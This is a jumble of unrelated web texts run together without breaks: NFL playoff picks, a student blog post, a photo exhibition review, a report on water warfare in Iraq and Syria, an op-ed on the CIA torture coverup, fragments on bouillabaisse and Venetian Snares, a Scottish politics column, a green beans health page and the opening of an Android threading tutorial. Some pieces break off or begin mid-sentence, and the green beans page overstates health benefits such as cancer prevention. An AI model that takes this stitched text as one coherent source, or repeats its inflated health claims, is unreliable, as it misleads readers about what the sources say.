Divisional round: Ravens over Patriots, Broncos over Texans.
Conference Championship: Ravens over Broncos.
NFC
Seeds: 1. Packers; 2. Falcons; 3. Giants; 4. Seahawks; 5. Cowboys; 6. Lions.
Wild-card round: Giants over Lions, Seahawks over Cowboys.
Divisional round: Packers over Seahawks, Falcons over Giants.
Conference championship: Packers over Falcons.
Super Bowl: Packers over Ravens.
Evan Silva
AFC
Seeds: 1. Patriots; 2. Steelers; 3. Texans; 4. Chiefs; 5. Ravens; 6. Broncos.
Wild card round: Texans over Broncos, Chiefs over Ravens.
Divisional round: Patriots over Chiefs, Texans over Steelers.
Conference championship: Patriots over Texans.
NFC
Seeds: 1. Packers; 2. Giants; 3. Saints; 4. 49ers; 5. Eagles; 6. Lions.
Wild card round: Lions over Saints, Eagles over 49ers.
Divisional round: Packers over Lions, Eagles over Giants.
Conference championship: Packers over Eagles.
Super Bowl: Packers over Patriots.
Michael David Smith
AFC
Seeds: 1. Patriots; 2. Ravens; 3. Texans; 4. Broncos; 5. Chargers; 6. Steelers.
Wild card round: Texans over Steelers, Broncos over Chargers.
Divisional round: Patriots over Broncos, Ravens over Texans.
Conference Championship: Patriots over Ravens.
NFC
Seeds: 1. Packers; 2. Giants; 3. Panthers; 4. 49ers; 5. Bears; 6. Falcons.
Wild card round: Panthers over Falcons, 49ers over Bears.
Divisional round: Packers over 49ers, Panthers over Giants.
Conference Championship: Packers over Panthers.
Super Bowl: Packers over Patriots.
Florio
AFC
Seeds: 1. Patriots; 2. Broncos; 3. Ravens; 4. Titans; 5. Bengals; 6. Chiefs.
Wild card round: Ravens over Chiefs, Bengals over Titans.
Divisional round: Patriots over Bengals, Broncos over Ravens.
Conference Championship: Patriots over Broncos.
NFC
Seeds: 1. Packers; 2. Giants; 3. Falcons; 4. 49ers; 5. Saints; 6. Eagles.
Wild card round: Eagles over Falcons, Saints over 49ers.
Divisional round: Eagles over Packers, Giants over Saints.
Conference Championship: Giants over Eagles.
Super Bowl: Giants over Patriots.When I started this challenge, I did not take into the account the fact that it would overlap with finals. I’ve had to skip a few days this past week, not because I didn’t want to make comics or I wasn’t motivated, but because I just didn’t have time, and my schedule isn’t showing any sings of relenting for at least three weeks. Therefore, I’m going to have to postpone the challenge until after finals, then pick up where I left off.
I know it isn’t really in the spirit of the challenge to take a break (though break doesn’t much seem like an appropriate word. “Break” implies that I’ll be resting, when really I’ll have no time for rest), but realistically one of three things simply has to go: grades, sleep, or personal projects. I’ll still be working on my comic whenever I can, but until after finals I won’t consider it a non-negotiable obligation. Ultimately, school is more important, and I just don’t need that extra stress on top of an already unfailingly stressful time of year.
Anyway, see you in a few weeks.Let’s talk about the Hatch.
At least it hasn’t changed names multiple times or closed down, so it’s doing better than most AMS organizations in the Nest. But much like their food outlets, it manages to serve up a dazzlingly monotonous array of bland, uninteresting items. If you’re like me you’ve managed to walk by their space multiple times each week without really noticing their exhibitions.
To quote one of my associates “It looks like they printed a bunch of someone’s iPhone photos and hung them up.”
So, where are they going off the rails?
For starters, the print quality is atrocious. You might be tempted to write this off as lo-fi aesthetic, but you’d be wrong. It’s even more important to keep the printing quality high when the work isn’t technically impeccable — whether you want to call it lo-fi, areh-bureh-bokeh, or lomography — because it proves that the author made a deliberate choice and not a technical mistake.
In the Hatch, I couldn’t tell if the photos of Nitobe by J.N. Tse were low resolution and blown out because of the printer’s incompetence or the artist’s choice. With the door open to questioning intent versus accident, I couldn’t be sure why one of the other pieces (a staircase with a blue railing by L. Bulk) was upside down.
Takuma Nakahira was quite insistent on exceedingly high print quality even when working with Daido Moriyama, one of the godfathers of a rough, grainy, aesthetic and the curators of The Hatch should take note of that.
There’s also the title, Our UBC: Insights unseen & unheard which suggests the exhibition is focused on something new, something being revealed. It isn’t. There are familiar views of campus shown in mediocre, repetitive and almost anonymous slices. We’re all familiar with the blue construction fences and the Nitobe garden and even the shitty corporate art plaque with a poem about walking alone that Elizabeth Guan included in one of their images.
By the way, including a poem about walking alone in a photo with a single figure has to be about the height of cliched, on-the-nose photography.
The works presented lack authorial voice and blur together easily, only adding up to banal fragments of an average day arranged on the walls.
Delving deeper into a blow-by-blow of the camera work, the composition and the technical aspects of the images at this point wouldn’t be very engaging and one of my main complaints with The Hatch is that it fails to be engaging. Over the course of their two most recent shows I’ve heard a string of complaints and shade, but I still want to defend the Hatch.
The overall photography scene on this campus hovers somewhere between unrelentingly shit and nonexistent. the Hatch could be a great place to start building one, being the only dedicated gallery for students.
Where is it going wrong?
Essentially, the photo scene on campus is split into camps: you’re either a visual arts student with their nose so far into theory that you haven’t looked through a viewfinder in weeks, a rich kid with three Leicas and a 5d MkVIII bought by daddy (complete with an inability to do anything other than pixel peep), or a newspaper hack that rushes through everything and occasionally sends web files to print (see page 11, October 17 issue of The Ubyssey), or an Instagram goon, etc. and none of us talk. So we all go about our work, continuing to be comfortable, mediocre, incomplete photographers.
The Hatch falls firmly into the first camp and it’s believable that the current show is a part of some conversation that’s unfolding in a visual arts course. While that may be valuable on a theoretical level it sinks the show into a brand of elitism that requires a theoretical knowledge which the average student doesn’t have, making it hard for them to engage at all, much less meaningfully, with the works.
It is important to avoid getting hung up on discussing execution over idea. The interview between Kaneko Ryuichi and Matthew Witkovsky for Steidl’s compilation on Provoke shows how long standing, deep seated and problematic this trope is, especially among photography clubs and students.
However, the execution here is so lacking that it overshadows the lofty intention of presenting a new view on our campus. One might expect something subversive or at least innovative from the show’s title. They would be disappointed. Eduardo Momeñe, an excellent critic, posits that the best photographers are aware of the artistic realities of photography without descending into imitation of other graphic arts and without losing sight of the form’s inherent documentary capacity.
The lack of a clear thematic or documentary focus combined with weak technical quality leaves Our UBC: Insights unseen & unheard directionless.
Editor's Note: In a previous version of this article a work was incorrectly attributed to J. Watt when it was, in fact, by Elizabeth Guan.
It is also worth noting that the author of this article overlooked the fact that the works were produced by students with disabilities as part of an exhibition done in collaboration with Access and Diversity. The author has said that within the actual exhibit there was no indication of this (though the curator claims a writeup was available at the front desk). Regardless, the author’s oversight — while showing the merits of online research — also demonstrates a failure on the part of the curator to provide enough readily accessible information about the exhibit. Patrick’s experience shows that there was a strong likelihood that any casual viewer of the show might very well have missed the same crucial information.
I have spoken to Patrick about the content of the review and believe that the substance of the article would not have changed, regardless of the context, because the bulk of his criticism was directed, not at the artists, but at the Hatch’s curators. Given the information he and I both now know, his points seem only more valid.
We, nonetheless, apologize for both errors.Security analysts in London and Baghdad say control of rivers and dams has become a major tactical weapon for Isis
The outcome of the Iraq and Syrian conflicts may rest on who controls the region’s dwindling water supplies, say security analysts in London and Baghdad.
Rivers, canals, dams, sewage and desalination plants are now all military targets in the semi-arid region that regularly experiences extreme water shortages, says Michael Stephen, deputy director of the Royal United Services Institute thinktank in Qatar, speaking from Baghdad.
“Control of water supplies gives strategic control over both cities and countryside. We are seeing a battle for control of water. Water is now the major strategic objective of all groups in Iraq. It’s life or death. If you control water in Iraq you have a grip on Baghdad, and you can cause major problems. Water is essential in this conflict,” he said.
Isis Islamic rebels now control most of the key upper reaches of the Tigris and Euphrates, the two great rivers that flow from Turkey in the north to the Gulf in the south and on which all Iraq and much of Syria depends for food, water and industry.
“Rebel forces are targeting water installations to cut off supplies to the largely Shia south of Iraq,” says Matthew Machowski, a Middle East security researcher at the UK houses of parliament and Queen Mary University of London.
“It is already being used as an instrument of war by all sides. One could claim that controlling water resources in Iraq is even more important than controlling the oil refineries, especially in summer. Control of the water supply is fundamentally important. Cut it off and you create great sanitation and health crises,” he said
Isis now controls the Samarra barrage west of Baghdad on the River Tigris and areas around the giant Mosul Dam, higher up on the same river. Because much of Kurdistan depends on the dam, it is strongly defended by Kurdish peshmerga forces and is unlikely to fall without a fierce fight, says Machowski.
Last week Iraqi troops were rushed to defend the massive 8km-long Haditha Dam and its hydroelectrical works on the Euphrates to stop it falling into the hands of Isis forces. Were the dam to fall, say analysts, Isis would control much of Iraq’s electricity and the rebels might fatally tighten their grip on Baghdad.
Securing the Haditha Dam was one of the first objectives of the American special forces invading Iraq in 2003. The fear was that Saddam Hussein’s forces could turn the structure that supplies 30% of all Iraq’s electricity into a weapon of mass destruction by opening the lock gates that control the flow of the river. Billions of gallons of water could have been released, power to Baghdad would have been cut off, towns and villages over hundreds of square miles flooded and the country would have been paralysed.
Facebook Twitter Pinterest Iraqi men move a boat that was stuck on the banks of the Euphrates River after supplies were blocked by anti-government fighters who control a dam further upstream.
In April, Isis fighters in Fallujah captured the smaller Nuaimiyah Dam on the Euphrates and deliberately diverted its water to “drown” government forces in the surrounding area. Millions of people in the cities of Karbala, Najaf, Babylon and Nasiriyah had their water cut off but the town of Abu Ghraib was catastrophically flooded along with farms and villages over 200 square miles. According to the UN, around 12,000 families lost their homes.
Earlier this year Kurdish forces reportedly diverted water supplies from the Mosul Dam. Equally, Turkey has been accused of reducing flows to the giant Lake Assad, Syria’s largest body of fresh water, to cut off supplies to Aleppo, and Isis forces have reportedly targeted water supplies in the refugee camps set up for internally displaced people.
Iraqis fled from Mosul after Isis cut off power and water and only returned when they were restored, says Machowski. “When they restored water supplies to Mosul, the Sunnis saw it as liberation. Control of water resources in the Mosul area is one reason why people returned,” said Machowski.
Increasing temperatures, one of the longest and most severe droughts in 50 years and the steady drying up of farmland as rainfall diminishes have been identified as factors in the political destabilisation of Syria.
Both Isis forces and President Assad’s army are said to have used water tactics to control the city of Aleppo. The Tishrin Dam on the Euphrates, 60 miles east of the city, was captured by Isis in November 2012.
The use of water as a tactical weapon has been used widely by both Isis and the Syrian government, says Nouar Shamout, a researcher with Chatham House. “Syria’s essential services are on the brink of collapse under the burden of continuous assault on critical water infrastructure. The stranglehold of Isis, neglect by the regime, and an eighth summer of drought may combine to create a water and food crisis which would escalate fatalities and migration rates in the country’s ongoing three-year conflict,” he said.
“The deliberate targeting of water supply networks... is now a daily occurrence in the conflict. The water pumping station in Al-Khafsah, Aleppo, stopped working on 10 May, cutting off water supply to half of the city. It is unclear who was responsible; both the regime and opposition forces blame each other, but unsurprisingly in a city home to almost three million people the incident caused panic and chaos. Some people even resorted to drinking from puddles in the streets,” he said.
Water will now be the key to who controls Iraq in future, said former US intelligence officer Jennifer Dyer on US television last week. “If Isis has any hope of establishing itself on territory, it has to control some water. In arid Iraq, water and lines of strategic approach are the same thing”.
Facebook Twitter Pinterest A satellite view showing the two main rivers running from Turkey through Syria and Iraq. Credits: MODIS/NASA
The Euphrates River, the Middle East’s second longest river, and the Tigris, have historically been at the centre of conflict. In the 1980s, Saddam Hussein drained 90% of the vast Mesopotamian marshes that were fed by the two rivers to punish the Shias who rose up against his regime. Since 1975, Turkey’s dam and hydropower constructions on the two rivers have cut water flow to Iraq by 80% and to Syria by 40%. Both Syria and Iraq have accused Turkey of hoarding water and threatening their water supply.
“There has never been an outright war over water but water has played extremely important role in many Middle East conflicts. Control of water supply is crucial”, said Stephen.
It could also be an insurmountable problem should the country split into three, he said. “Water is one of the most dangerous problems in Iraq. If the country was split there would definitely be a war over water. Nobody wants to talk about that,” he said.
Some academics have suggested that Tigris and Euphrates will not reach the sea by 2040 if rainfall continues to decrease at its present rate.by
Just sick of this Executive Branch mendacity – seems to be part of the job description.
Brennan is gone – the timing of that being most likely with the public release of the torture report. The reason for it is that he is needed to be the fall guy for the torture in the age old Washington game of having a resignation by someone serve as the accountability.
Anybody remember “Brownie, you are doing a heckuva a job!” by Bush? Obama’s “I have full confidence in John Brennan” is the same thing. It is the signal of public support by the principal that opens the way for the tender of resignation of the agent. An old old game.
The hope in DNI/CIA-land is that this scalp will be enough to deflect and misdirect our attention from the central point here: all of this stuff is about continuing and extending the massive coverup of the massive crimes of torture committed by the United States.
The mendacity of the legal analysis with a game of CIA creating fantasy facts and DOJ writing analyses as if those lies were true, the creation of de facto chains of command to xircvent the dejure chain if command so as to keep the first black Secretary of State in the dark until he was faced with an administration fait accompli, the deployment of military and private contractors to have other than the intelligence people who were pulling the strings at the heart of this be on the front lines so that grunts get court-martialed but the murderer-interrogator of the ICE MAN Iraqi GENERAL gets off, the effort to compromise the Senate Intelligence Review by lawyers and tech people at CIA that Brennan tried to cover up, the allowing the ordinary citizen torture ringleaders to have access to an unredacted complete report so they can develop a counter strategy that they will deploy the day of the release of the redacted report, and on and on.
If one cannot connect the dots like I can to see this 12 year coverup in which so many parts of the government are complicit, then I would suggest that the American denial is truly complete. And it also says that at our heart, Americans want torture.
So, if you want torture, then remember the image of Eric Garner being killed by the police in broad daylight on Staten Island. Because, the minute you countenance the state using its monopoly of violence in this manner, you countenance a brutalization of your society and a descent into darkness.
If, on the other hand, you are as troubled as have been many quiet Democrats and Republicans and Indeoendents about the lawlessness and mendacity of the torture and its coverup then join with all of us insisting on prosecution if the tirture ringleaders. They should be prosecuted and removed from public life root and branch for their breaking of the law.
We are asked to think in terms if the context after 9/11 and the fear and anger. It is precisely in those terrible moments that the question of what one’s values are us to be asked. As 9/11 was going on I taught a class and asked the students what would they advise Bush as to how to respond. I still remember a retired Navy guy – older than the rest – who said the first thing we have to do is look at our values before we determine the response.
These torture ringleaders threw out our values in their fear and anger – we do not elect or pay leaders to act with such immaturity in the face of evil. We seek people of courage with a sense if American values – like we inculcate in our soldiers many of whom I have had the pleasure to teach and to know. Yet, in this perverse world, it is only the soldiers so far who have faced criminal liability for doing the bidding if these torture ringleaders. Enough with the mendacity and on with the criminal prosecutions of these bastards to remove the stink of their cowardice from our government and serve as a warning for future governments here and around the world who are watching.
Benjamin G. Davis is Associate Professor of Law at University of Toledo College of Law.This article is about the food. For the album by Fish, see Bouillabaisse (album)
Bouillabaisse ( French pronunciation: [bu.ja.bɛːs]; Occitan: bolhabaissa [ˌbuʎaˈβajsɔ / ˌbujaˈbajsɔ]) is a traditional Provençal fish stew originating from the port city of Marseille. The French and English form bouillabaisse comes from the Provençal Occitan word bolhabaissa, a compound that consists of the two verbs bolhir (to boil) and abaissar (to reduce heat, i.e., simmer).
Bouillabaisse was originally a stew made by Marseille fishermen using the bony rockfish which they were unable to sell to restaurants or markets. There are at least three kinds of fish in a |
it needs to hang on to the former Labour heartlands it has conquered, since without continuing support from there the nation will never become independent. It does not mean the converts are themselves socialists. You do not just have to take my word for it. Look at the letters to the The National from the redoubtable Peter Craigie or William Ross, which I warmly commend to readers.
Like me, they oppose the depressing collectivist consensus of Scottish politics, from which even Ruth Davidson’s policy-lite party does not dissent with any vigour. The consensus is all the more depressing for having been so unsuccessful in relaunching the economy. Neither Tories nor Labour nor LibDems offer a way out. Only an independent Scotland does. Once that as yet foreign and imaginary country appears on the map, it will need to face the realities of making its own way in the world. The poll-driven, populist slogans which had previously egged it on will no longer be enough. New truths will present themselves – most of them inspiring, but one or two a little daunting.
We don’t yet know the exact circumstances of all this, but perhaps some of the runes can already be read. And incidentally they go to show how false is the claim from Theresa May that her party and government represent the interests of Scotland better than Scotland’s own party and government can, if only we would all shut up and back a hard Brexit. This claim is false because the interests of Scotland and England have already diverged so much as to be unbridgeable by her or by any politician only capable of looking at the UK from the viewing platform of London.
I specify politician because there are in the English capital people who do take a wider view, especially in the City of London which long ago left behind anything that might be called Little England. That’s a reason why its concerns have been ignored by May and her merry men too.
For instance, I noticed last week some remarks from Michael Saunders, a member of the Bank of England’s monetary policy committee. He gave a broad hint that, at its next meeting, he will vote for a rise in the basic interest rate of 0.25 per cent, which has been on hold since last August (before that, it had been at 0.5 per cent since 2009). He notes that the economic effect of Brexit has been less severe than expected, but that now inflation is rising and likely to hit three per cent by the end of this year. Unemployment has been coming down without any sign of an improvement in the UK’s poor level of productivity. In other words the UK economy is getting stimulated, if in a lop-sided and risky way, but enough to make higher interest rates a move that ticks more boxes, in terms of stable recovery, than some others.
Unfortunately this policy that looks so good from London would be dreadful for Scotland. We don’t have so much inflation because we don’t have housing bubbles. Or at least we don’t have anything like the gigantic housing bubbles of the south-east of England, where for 20 years they have been deliberately blown up by governments of every hue in a so far vain attempt to make the punters feel richer and ready for a fresh boom in consumption, just like in the old days. In Scotland, lacking any experience of this primrose path, we don’t need a rise in interest rates to control our inflation. On the contrary, the most likely effect of it would be to depress still further an economy that is already drifting into recession, with heaven knows what grislier consequences down the line. I wonder how this squares with Theresa May’s call to the last Tory conference that "our economy should work for everyone".
As with inflation, so with employment. In Scotland the active indigenous workforce is stagnant or shrinking. There are some people too old to bother, others too young to have gained the right skills or experience, who have just given up the search for a job as hopeless. Indeed there are families in some sink estates already in the third or fourth generation without any knowledge of the world of work. Even if they could be lured back into it, native-born Scots have ceased to reproduce themselves enough to match the available opportunities. That is why we have immigration, often of people who are younger, better educated and more motivated than our average. It is also the reason why the previous decline in the Scottish population has been reversed. Immigration has become vital to Scotland.
Here is a second area where the UK Government, while pretending to us and perhaps even to itself that it is working for the benefit of all four nations, in reality favours just one of them (and not ours). The English have decided they dislike immigrants: that’s their business, though they will soon find they have made some parts of their economy inoperable, the NHS for a start. But the Scots do not dislike immigrants – as a migratory people themselves, they can sympathise with people who seek their fortunes far away from their native land. Any country wishing to embark on a policy of growth needs extra resources of labour – and this describes Scotland too. The immigrants want to come here and we need them. Theresa May is anti-immigrant, as she showed while Home Secretary often in a cruel and heartless way (like her successor in that office). Again, she is bad for Scotland.
With the economic interest of two nations in the UK diametrically opposed, the government in London cannot find a policy to fit all and it must choose. In two of the most important areas of policy, inflation and employment, it chooses England’s interest over Scotland’s. These choices will tend to keep Scotland in the condition of a backward regional economy, starved of the capital and labour to be anything else. The trouble is, I suspect, that the UK Government rather prefers things that way, since it will stop the natives getting too uppity. I don’t see how anybody even of the most conservative disposition could endorse such a view and such a course, let alone vote for it. Don’t do so on June 8.Green Beans have many health benefits including ability to prevent heart diseases, cancer, gastrointestinal issues and strengthen bones, protect the newborn babies. Green Beans can also improve eye health and boost the immune system.
What Are Green Beans?
Green Beans are also called French beans, snap beans, fine beans, string beans, squeaky beans. It belongs to the Fabaceae family of the genus, Vicia, and its scientific name is Phaseolus vulgaris. Throughout the world there are approximately 150 varieties of green beans. They are in different colors and shapes but their nutritional content and health benefits remain similar. Almost all the varieties of beans are available year around across the world. Green Beans are the unripe or immature pods, so some people prefer to cook beans before consuming them. Green Beans are categorized into two types depending on their growth habits such as “pole beans” that need climb supports to grow properly and “bush beans” are lower to the ground, growing without the need of support. Green Beans are widely cultivated in Asia and Africa.
Nutritional Values Of Green Beans:
The Green Bean nutrition values per 100 grams (3.5 Oz) and percentage of RDA (Recommended Dietary Allowance) are :
Energy 131 kJ (31 kcal)
Carbohydrates 6.97 g
Dietary fiber 2.7 g
Fat 0.22 g
Protein 1.83 g
Vitamins:
Vitamin A equiv. (4% of RDA) 35 μg
Thiamine (B1) (7% of RDA) 0.082 mg
Riboflavin (B2) (9% of RDA) 0.104 mg
Niacin (B3) (5% of RDA) 0.734 mg
Pantothenic acid (B5) (5% of RDA) 0.225 mg
Vitamin B6 (11% of RDA) 0.141 mg
Folate (B9) (8% of RDA) 33 μg
Vitamin C (15% of RDA) 12.2 mg
Vitamin K (14% of RDA) 14.4 μg
Minerals:
Calcium (4% of RDA) 37 mg
Iron (8% of RDA) 1.03 mg
Magnesium (7% of RDA) 25 mg
Manganese (10% of RDA) 0.216 mg
Phosphorus (5% of RDA) 38 mg
Potassium (4% of RDA) 211 mg
Zinc (3% of RDA) 0.24 mg
Other constituents:
Fluoride 19 µg
Health Benefits Of Green Beans:
Boost Heart Health:
Green Beans are helpful to reduce the risk of heart diseases because they have high amount of flavonoids protective to heart. Flavonoids are polyphenolic antioxidants that are commonly found in vegetables and fruits. Heart attacks and cardiovascular diseases are commonly caused by thrombotic activity. Good amount of flavonoids have massive anti-inflammatory properties, which regulate thrombotic activity in the cells and prevent blot clots in the arteries and veins.
Good for Eye Sight:
Regular intake of green bean is very helpful to improve eye health. Green beans are rich in carotenoids, lutein and Zeaxanthin. Carotenoids can play an effective role in preventing the macular degeneration, which is a condition that hampers vision and eye function. Lutein and Zeaxanthin are helpful to maintain good eyesight and night vision.
Prevent The Cancer:
Green Beans are helpful to prevent the cancer because they contain good amount of antioxidants. Antioxidants help to prevent the free radical damage activity in the body. Free radicals play a fundamental role in the development of cancer. New evidence suggests that regular intake of green bean can reduces the risk of cancerous adenoma recurrence and colorectal cancer.
Improve Bone Health:
Green beans are good source of number of nutrients such as calcium, vitamin K. Calcium helps to prevent the bone deterioration and osteoporosis. Vitamin K helps to strengthen bones. Green Beans are also a great source of silicon which is a key element in bone regeneration and overall bone health.
Treat Gastrointestinal Issues:
Green beans are rich in fiber which is highly beneficial in relieving certain digestive issues like acid reflux, hemorrhoids, ulcers and constipation. High fiber content in green bean also helps to maintain cholesterol and sugar levels in human body. 110 grams of green bean provides 15% of the daily recommended amount of fiber.
Protect Newborns:
Green Beans are a great source of folic acid which plays an important role to protect embryos in the womb. Folic acid decreases the risk of a large number of birth defects and prevents the neural tube defects. Green bean can keeps folic acid levels high and ensure a healthy and happy baby.
Boost Immunity:
Green beans contain good amount of vitamin-C and other well-known antioxidants which are helpful to boost the immunity system and fight against infectious agents and harmful oxygen-free radicals.
Read and Understand:
Each Fruit Nutritional Values and Health Benefits,
Guava Fruit, Banana Fruit; Watermelons, Feijoa Fruit, Sapota Fruit, Tangelo Fruit, Quince Fruit, Tangerine Fruit, Strawberry Fruit, Purple Mangosteen Fruit, Pomelo Fruit, Passion Fruit, Pitahaya or Pitaya Fruit, Prune Fruit, Pomegranate Fruit, Peach Fruit, Pumpkin Fruit, Pineapple Fruit, Persimmon Fruit, Papaya Fruit, Orange Fruit, Olive Fruit, Mango Fruit, Lemon Fruit, Longan Fruit, Loquat Fruit, Lychee Fruit, Jack Fruit, Asian Pear, Apricot Fruit, Date Palm Fruit, Coconut, Cherimoya Custard Apple Fruit, Blackberry Fruit, Cantaloupe Fruit, Gooseberry Fruit, Cranberry Fruit, Kiwi Fruit, Durio Zibethinus Fruit, Kumquat Fruits, Jujube Fruit, Grape Fruits, Boysenberry Fruit, Avocado Fruits, Carambola Fruits, Common Fig Fruit, Cherry Fruit, Apple Fruit
Each Vegetable Nutritional Values and Health Benefits,
Malabar Spinach, Cayenne Pepper Mirchi Powder, Garlic, Ginger, Green Beans-French-beans, Fenugreek, Drumsticks, Dill-Leaves, Curry-Leaves, Cucumber, Corn-Grain popcorn, Amaranth-Leaves, Carrot-vegetable, Coriander-Leaves, Cabbage, Bottle-Gourd, Capsicum, Cluster-Beans, Bitter-Gourd, Beetroot, Ash Gourd-Winter-Melon, BrinjalAaron Funk (born January 11, 1975), known as Venetian Snares, is a Canadian electronic musician based in Winnipeg, Manitoba. He is widely known for innovating and popularising the breakcore genre, and is one of the most recognisable artists to be signed into Planet Mu, an experimental electronic music label. His signature style involves meticulously complex drums, eclectic use of samples, and odd time signatures, particularly 7
4.[1]
His 2005 release, Rossz Csillag Alatt Született, was released to critical acclaim and has helped bring Funk and the genre into popularity within the experimental electronic music community.
He is a very prolific musician, often releasing several records each year, sometimes on several different record labels, including Planet Mu, Hymen, Sublight, and his own imprint Timesig, and also under other different alias, including Last Step, Snares Man!, Snares, and Speed Dealer Moms. He has also explored other electronic genres such as glitch, IDM, modern classical and acid techno.
Career [ edit ]
1990s to Early 2000s: Greg Hates Car Culture [ edit ]
Funk began producing music as early as 1992,[2] when he was experimenting with several 'ghetto blasters':[citation needed]
I'd use a bunch of ghetto blasters playing all at once to play different sounds I'd recorded with some shitty ghetto blaster. Most of my sources I'd get riding around on my bicycle and just listening for interesting sounds. I'd use garbage bins and streetlights and anything else I could find that was hollow or metallic to bang out rhythms on. Then I'd set up all the ghettos and record them all playing into that same ghetto blaster. Then I'd play a bunch of those tapes all at the same time and record that and so on. Then I would do cut-ups or pause-ups of those tapes to create a more startling rhythmic effect. A strange ritual in retrospect.
I somehow came across this looping delay pedal that would hold a 2 second sample. This pedal coupled with the ghetto blaster experiments really changed my life.
Funk then got an Amiga 500 computer, where he initially produced music through a music tracker, OctaMED. He formed the name 'Venetian Snares' after '...writing a track with really fast snare rolls that sounded like scraping a stick across a grate or running a pencil down venetian blinds in a distracted classroom'.[3]
He would self-release several cassettes during the 90's, before making his first official release with the 1999 12" EP, Greg Hates Car Culture, followed by a split album with Stunt Rock, Fuck Canada // Fuck America, and more EPs in the next year 2000, including Salt, 7 sevens.med, Shitfuckers!, and his first full-length album, printf("shiver in eternal darkness/n");. Funk then moved to using a PC sometime before 2000, producing music in MED Soundstudio, a Windows port of OctoMED.[4]
Early to Mid 2000s: Planet Mu Records and prolific output [ edit ]
After hearing Greg Hates Car Culture while browsing a Minneapolis record store,[5] Mike Paradinas (also known as μ-Ziq) immediately signed Funk on to his record label Planet Mu, leading to three releases for the label in 2001, a collaboration album with Speedranch, Making Orange Things, a 7" EP, Defluxion, and a full-length album, Songs About My Cats. In addition, he also released Doll Doll Doll, as well as split 12" with Cex and a raggacore 7" as Snares Man!, all in the same year. The following year, 2002, Funk released three full-length albums, Higgins Ultra Low Track Glue Funk Hits 1972–2006, 2370894 (Under Vsnares), and Winter in the Belly of a Snake, plus a 15-minute limited edition EP, A Giant Alien Force More Violent & Sick Than Anything You Can Imagine. 2003 saw the release of The Chocolate Wheelchair Album, Find Candace, a 7" EP Badminton, two split 7" EPs, one with Fanny under BeeSnares, and the other with Phantomsmasher, and an experimental collaboration album with Hecate, Nymphomatriarch. Following 2004, Funk released Huge Chrome Cylinder Box Unfolding, three EPs, Horse And Goat, Infolepsy EP, and Moonglow/This Bitter Earth and a remix of Doormouse's Skelechairs. During this time period, Funk started using Cubase next to MED.
Mid 2000s to Mid 2010s: Rossz Csillag Alatt Született and slowing output. [ edit ]
Funk performing at Ilosaarirock 2008
Funk first released in 2005 his tribute album to his hometown, Winnipeg is a Frozen Shithole, before releasing Rossz Csillag Alatt Született, an album inspired by Funk's recent Hungary trip that combines fast breakbeats with classical strings and trumpets, to critical acclaim. Tiny Mix Tapes called it Funk's '...most accomplished album to date', describing the album as '... of uncouth beauty that is at once sublime, timeless, cinematic, sporadic, and moving from start to finish for the uppity junglist or the CBC Radio 1 listener in your family'.[6] At the same year, Funk has also released another album, Meathole, and debuted under his new acid-oriented alias, Last Step, in You're a Nice Girl.
In the later years, Funk's amount of releases would decrease to at least one each year, compared to as many as six earlier before. The next year, 2006, Funk released one album, Cavalcade of Glee and Dadaist Happy Hardcore Pom Poms, and a single EP, Hospitality. 2007 saw the release another classical-styled album, My Downfall (Original Soundtrack), an EP, Pink + Green, a 10" series of dubstep-styled Black Sabbath covers under Snares, and his first full-length self-titled album under Last Step. Funk followed it next year, 2008, with another Last Step album, 1961. He also released the Detrimentalist album and the Miss Balaton single in the same year. 2009 saw the release of the album Filth, and the Horsey Noises EP. Afterwards in 2010, Funk released the My So-Called Life album and a 12" collaboration with Red Hot Chili Peppers guitarist John Frusciante under Speed Dealer Moms. Funk's only release in 2011 is the EP Cubist Reggae. 2012 saw three new releases by Funk, with two EPs Fool The Detector and Affectionate, and a Last Step album, Sleep. After an unusual absence in 2013, Funk's next release came in 2014 with a new album, My Love is a Bulldozer, as well as a self-titled debut collaboration album with Joanne Pollock, Poemss, and a self-released Last Step EP, Lost Sleep. Funk released the EP, Your Face, the following year 2015.
2015 to present: Bandcamp [ edit ]
On August 26, 2015, Funk posted on his Facebook page that he was '...suddenly in very serious financial trouble,'[7] and announced that he has launched his own Bandcamp page,[8] re-releasing a majority of his releases, especially those previously out-of-print. Funk topped the whole Bandcamp best-selling list within the next 24 hours.[9] As thanks to his fans, Funk self-released Thank You For Your Consideration on his Bandcamp page for a pay-what-you-want price. Funk later announced a new album coming February 19, 2016, called Traditional Synthesizer Music, with a preview single available to listen to now.[10] This album was the product of Funk's experimentations with modular synthesizers, and was created exclusively on modular synthesizer hardware.
Discography [ edit ]
Studio albums [ edit ]
References [ edit ]
Media related to Venetian Snares at Wikimedia CommonsShowing Progress with Android Passing data with Handlers, Messages and the ProgressDialog Threading Threading is no small topic in programming circles. Some folks love them. Some hate them. Whether they are good or evil is a debate for the pious among us — I use them when they fit and you might want to do the same. In this article we’re going to have a look at a basic building block of Android applications — performing an operation in a secondary thread while keeping the primary GUI thread accessible and the user up to date at all times. Moonlighting A common requirement with a mobile application is to perform some marginally long running task, such as transferring data to or from a server on the Internet. If this can be done in the “background” all the better. If the user isn’t preoccupied with the data refresh operation, they can enjoy other aspects of their device without concern. However, sometimes the ideal thing to do as an application programmer is to show the user the progress of how this operation is proceeding. This can be appropriate for example when submitting a search request or executing an online commerce transaction. Showing up to date progress can greatly pacify even the most impatient of users. On the other hand, a quick transaction with no user feedback is likely to leave uncertainty and doubt in the minds of your user. It is apparent that we need to keep the user informed. So, we’ve got two objectives: Perform a task on a background thread so the GUI is free for user interaction, including an optional “cancel” button.
Update the GUI in a tasteful manner to keep the user up to speed on our progress through out the operation. Unfortunately we cannot simply update a user interface element from a secondary thread. The primary GUI thread really likes to make those updates itself and will do nasty things to your application if you try to bend the rules. So, how do we go about this? Let’s find out. An example For the purposes of illustrating this task, we’re going to create a simple application which demonstrates the creation of a secondary thread which subsequently performs a long-running transaction. In our case, it is just going to count up to a gagillion or some other large number — like the current federal deficit — it doesn’t matter what it is doing so long as it takes a few moments to complete. The application has a super simple UI to it: just a label and a Button. Here is the UI layout: <?xml version="1.0" encoding="utf-8"?> <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:orientation="vertical" android:layout_width="fill_parent" android:layout_height="fill_parent" > <TextView android:layout_width="fill_parent" android:layout_height="wrap_content" android:text="@string/hello" /> <Button android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="Run Test" android:id="@+id/TestThreads" /> </LinearLayout> And here is how it looks.
Bland test application I warned you, pretty boring, but it meets our needs. Once the button is selected, the application simply starts counting in a new java.lang.Thread. Every 100,000 iterations, we have the application come back and let us know that we’re still here by updating the ProgressDialog with a call to setMessage().
